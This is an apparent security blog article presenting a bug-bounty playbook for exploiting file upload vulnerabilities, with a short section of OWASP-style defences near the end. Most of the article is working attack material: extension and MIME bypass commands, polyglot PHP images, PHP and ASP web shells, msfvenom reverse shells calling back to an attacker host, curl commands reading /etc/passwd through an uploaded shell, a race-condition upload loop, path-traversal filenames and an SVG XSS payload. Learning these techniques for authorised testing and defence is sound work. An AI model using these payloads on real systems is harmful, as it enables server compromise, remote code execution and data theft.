Listen to this Post
Introduction
File upload vulnerabilities remain one of the most critical security flaws in modern web applications, serving as a primary entry point for attackers to achieve Remote Code Execution (RCE), full server compromise, and lateral movement across infrastructure. While many aspiring bug bounty hunters chase complex zero-day exploits, the reality is that some of the most lucrative bounties—ranging from $100 to over $20,000—come from mastering the art of file upload exploitation through systematic methodology and relentless practice. This article distills proven techniques from real-world writeups and CTF challenges into a comprehensive, actionable playbook that transforms theoretical knowledge into practical, bounty-earning skills.
Learning Objectives
- Master the complete reconnaissance-to-exploitation methodology for file upload vulnerabilities across diverse tech stacks
- Execute advanced bypass techniques including null byte injection, MIME type manipulation, and race condition exploitation
- Deploy and weaponize web shells for RCE while understanding defensive countermeasures and secure implementation practices
You Should Know
1. Reconnaissance and Attack Surface Mapping
The foundation of any successful file upload exploit lies in thorough reconnaissance. Before attempting any payload, you must systematically identify and analyze all upload endpoints within the target application. Start by reviewing all forms for file input fields (<input type="file">), examining API documentation for endpoints accepting multipart/form-data, and inspecting JavaScript files for upload-related functions.
Automated Discovery Commands:
Using ffuf to discover upload endpoints ffuf -u https://target.com/FUZZ -w upload_endpoints.txt Using gospider to crawl for upload functionality gospider -s https://target.com | grep -i "upload" Directory fuzzing for common upload paths gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt | grep -i upload
Once endpoints are identified, analyze how the application processes uploads by answering critical questions: Where are files stored? Are uploaded files directly accessible? What extensions are allowed? Is there filename transformation? What MIME types are accepted?
Information Gathering Through Error Messages:
Upload deliberately malformed files to trigger error messages that reveal system information:
Test various file types to understand validation logic curl -X POST -F "[email protected]" https://target.com/upload curl -X POST -F "[email protected]" https://target.com/upload curl -X POST -F "file=@test%00.jpg" https://target.com/upload curl -X POST -F "[email protected]" https://target.com/upload
2. Client-Side Validation Bypass
Many applications implement only client-side validation via JavaScript, which provides zero actual security. This is trivially bypassed through multiple approaches:
Method 1: Disable JavaScript
Simply disable JavaScript in your browser or use browser developer tools to modify the input field’s `accept` attribute.
Method 2: Intercept and Modify with Burp Suite
Configure Burp Suite as an intercepting proxy, capture the upload request, and modify the filename parameter before forwarding to the server.
Method 3: Direct cURL Submission
Bypass client-side restrictions entirely by submitting directly with cURL:
curl -X POST -F "[email protected]" https://target.com/upload
3. Extension Filter Bypass Techniques
Modern applications typically employ either blacklist or whitelist extension filtering. Each requires different bypass strategies.
Blacklist Bypass:
Blacklists are inherently weak because they attempt to block known malicious extensions while inevitably missing obscure ones. Common bypass techniques include:
- Alternative Extensions: Try
.phtml,.php5,.php3,.phar,.inc,.pgif, `.php7`
– Case Manipulation: On Windows servers,.pHp,.pHP5, `.PhAr` may bypass case-sensitive blacklists - Double Extensions: `file.php.jpg` or `file.jpg.php`
– Null Byte Injection (PHP < 5.3.4): `shell.php%00.jpg` – the server sees `.jpg` but saves as `shell.php`
– Trailing Characters: `file.php.` (Apache), `file.php/x.jpg` (Nginx misconfigurations)
Whitelist Bypass:
Whitelists are more secure but can still be bypassed:
- Double Extension: If `.jpg` is allowed, upload `shell.php.jpg` – the server may save as PHP if it checks only the last extension
- Content-Type Spoofing: Change `Content-Type` to `image/jpeg` while uploading PHP code
Fuzzing with Burp Intruder:
Using ffuf to fuzz extensions ffuf -u https://target.com/upload -w extensions.txt -X POST -d "[email protected]"
4. MIME Type and Content Validation Bypass
Servers often check the `Content-Type` header, but this is client-controlled and easily spoofed:
Upload PHP shell with image MIME type curl -X POST -F "[email protected];type=image/jpeg" https://target.com/upload Or intercept in Burp and change: Content-Type: application/x-php → Content-Type: image/jpeg
Magic Number / File Signature Bypass:
Some applications validate file content by checking magic bytes (file signatures). This can be bypassed by prepending legitimate file headers to your payload:
Create a polyglot GIF-PHP file echo "GIF89a; <?php system(\$_REQUEST['cmd']); ?>" > shell.gif.php Or use exiftool to embed PHP in image metadata exiftool -Comment='<?php system($_REQUEST["cmd"]); ?>' image.jpg mv image.jpg image.php.jpg
Real-World Example: Some WordPress plugins only checked `Content-Type` and not actual file content, allowing attackers to upload `.php` files with `Content-Type: image/png` and achieve RCE.
5. Web Shell Deployment and Remote Code Execution
Once validation is bypassed, the goal is to upload a web shell that enables command execution.
Basic PHP Web Shell:
<?php system($_REQUEST['cmd']); ?>
Advanced PHP Web Shell with Output Formatting:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
ASP.NET Web Shell:
<% eval request('cmd') %>
Generating Reverse Shells with msfvenom:
PHP Reverse Shell msfvenom -p php/reverse_php LHOST=10.10.14.55 LPORT=4444 -f raw > reverse.php JSP Reverse Shell msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.55 LPORT=4444 -f raw > reverse.jsp ASPX Reverse Shell msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.55 LPORT=4444 -f aspx > reverse.aspx
Accessing the Web Shell:
Execute commands via GET parameter curl "https://target.com/uploads/shell.php?cmd=whoami" curl "https://target.com/uploads/shell.php?cmd=cat%20/etc/passwd" For POST-based shells curl -X POST -d "cmd=id" https://target.com/uploads/shell.php
6. Advanced Exploitation Techniques
Race Condition Exploitation:
Some applications delete malicious files after upload but before execution. Exploit this by uploading and instantly accessing the file in a loop:
Upload and trigger in rapid succession while true; do curl -F "[email protected]" https://target.com/upload curl https://target.com/uploads/shell.php?cmd=id sleep 0.1 done
Path Traversal in Filename:
If the upload directory isn’t directly accessible, embed path traversal sequences in the filename:
URL-encoded path traversal curl -F "[email protected];filename=..%2F..%2Fshell.php" https://target.com/upload Or intercept in Burp and modify filename to: ../../../shell.php
SVG-Based Stored XSS:
If SVG uploads are allowed, inject JavaScript into the SVG XML structure:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS Attack');</script>
</svg>
7. Defense and Secure Implementation
Understanding defenses is equally important for both hunters and developers. According to OWASP, the following principles should guide secure file upload implementation:
Critical Security Controls:
- Whitelist Allowed Extensions: Only allow extensions critical for business functionality
- Validate File Type: Never trust the `Content-Type` header—validate actual file content using magic numbers
3. Generate Filenames: Change filenames to application-generated identifiers
- Set Limits: Enforce filename length and file size limits
- Store Outside Webroot: Store files on a different server or outside the web root
- Use Handlers: Map internal IDs to filenames instead of exposing direct paths
- Antivirus Scanning: Run uploaded files through antivirus or sandboxing
- Disable Execute Permissions: Disable execute permissions on the upload directory
Implementation Example (Linux):
Create upload directory outside webroot
mkdir /var/uploads
chmod 750 /var/uploads
chown www-data:www-data /var/uploads
Disable PHP execution in upload directory (Apache .htaccess)
echo "php_flag engine off" > /var/www/html/uploads/.htaccess
Or for Nginx, configure location block
location /uploads/ {
location ~ .php$ {
deny all;
}
}
Windows Implementation:
Remove execute permissions using icacls icacls C:\uploads /deny "IIS_IUSRS:(X)"
What Undercode Say:
- Persistence Over Genius: The most successful bug bounty hunters don’t possess special powers—they consistently read writeups, replicate techniques, and refuse to give up after duplicates. Success comes from systematic methodology, not magical intuition.
-
Writeups Are Your Curriculum: Every public writeup is a free masterclass. By studying how others found and exploited vulnerabilities, you build a mental library of patterns that you can apply to new targets. Replication is the fastest path to original discovery.
-
Duplicates Are Not Failure: Receiving duplicate reports doesn’t mean your work was worthless. It means you’re thinking like other skilled researchers—and you’re on the right track. The key is to learn from each attempt and refine your approach.
-
Methodical Approach Wins: File upload exploitation follows a predictable progression: reconnaissance → basic bypass → advanced chaining → exploitation. Mastering each phase systematically yields consistent results far more reliably than random payload spraying.
Prediction
-
+1 The democratization of bug bounty knowledge through platforms like HackerOne and publicly available writeups will continue to lower the barrier to entry, enabling a new generation of security researchers to earn meaningful bounties through disciplined practice rather than years of formal experience.
-
+1 AI-powered code analysis tools will increasingly automate the detection of file upload vulnerabilities in source code, shifting the hunter’s role from manual discovery to creative exploitation chaining and business logic bypasses that evade automated scanners.
-
-1 As file upload defenses mature with OWASP-aligned implementations, basic bypass techniques will become less effective, forcing hunters to develop more sophisticated approaches combining race conditions, polyglot files, and complex multi-step exploitation chains.
-
-1 The increasing adoption of serverless architectures and cloud storage (S3, Azure Blob) will introduce new file upload attack surfaces, including misconfigured bucket permissions and metadata injection, creating both opportunities and complexity for hunters.
▶️ Related Video (82% Match):
https://www.youtube.com/watch?v=1ve-YrLOE7E
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Chitra Karanam – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
